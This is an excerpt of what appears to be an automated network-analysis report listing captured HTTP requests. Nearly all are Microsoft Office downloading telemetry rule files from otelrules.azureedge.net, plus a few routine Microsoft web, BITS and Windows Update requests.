Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5VeGEGoNDS2WapR&MD=4dYcZxFY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
